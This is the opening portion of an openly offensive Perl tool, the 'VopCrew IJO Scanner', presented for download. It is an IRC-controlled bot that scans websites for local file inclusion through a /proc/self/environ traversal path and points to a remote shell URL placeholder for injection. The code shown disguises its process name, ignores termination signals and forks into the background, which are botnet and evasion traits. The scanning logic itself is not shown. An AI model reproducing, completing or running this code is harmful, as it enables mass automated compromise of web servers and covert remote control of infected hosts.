VopCrew IJO Scanner v1.2

##################################

# MainHack BrotherHood

##################################

##################################

# LFI Scanner (/proc/self/environ)

##################################

# VopCrew IJO Scanner v1.2

# Coded by Vrs-hCk

# ander[at]antisecurity.org

# www.antisecurity.org

# Copyright © 2010 VopCrew UnderGrounD

##################################

# perl ijoscan.pl help me !!!

##################################

# Greetz to:

# AntiSecurity.org Member, MH BrotherHood, SiD UnderGrounD, VopCrew UnderGrounD, nob0dy Crew

# NoGe, Jack, zxvf, s4va, matthews, Fluzy, aLvRea (selingkuh yuk awkawkakakaw kabor ah ada Jack :p)

# S3T4N, xr00tb0y, bl4Ck_3n91n3, wishnusakti, stardustmemory, dkk (too many :O)

use HTTP::Request;

use LWP::UserAgent;

use IO::Socket;

use IO::Select;

use Socket;

my $fakeproc = $ARGV[6];

$ircserver = $ARGV[0] unless $ircserver;

my $ircport = $ARGV[1];

my $nickname = $ARGV[2];

my $ident = $ARGV[3];

my $channel = '#'.$ARGV[4];

my $runner = $ARGV[5];

my $fullname = ' 15( 7@ 2VopCrew-IJO-Scanner 15) ';

my $ijoscan = '!ijo';

$ijo_test = "../../../../../../../../../../../../../../../proc/self/environ";

$ijo_shell = "http://yourhosting/ijoshell";

my $success = "\n [+] VopCrew IJO Scanner\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $$\n";

my $failed = "\n [-] perl $0 \n\n";

if (@ARGV != 7) { print $failed; exit(); } else { print $success; }

$SIG{'INT'} = 'IGNORE';

$SIG{'HUP'} = 'IGNORE';

$SIG{'TERM'} = 'IGNORE';

$SIG{'CHLD'} = 'IGNORE';

$SIG{'PS'} = 'IGNORE';

chdir("/");

$ircserver="$ARGV[0]" if $ARGV[0];

$0 = "$fakeproc"."\0"x16;;

my $pid = fork;

exit if $pid;

die "\n [!] Something Wrong !!!: $!" unless defined($pid);

our %irc_servers;

our %DCC;

my $dcc_sel = new IO::Select->new();

$sel_client = IO::Select->new();

Download di sini

Sumber : antisecurity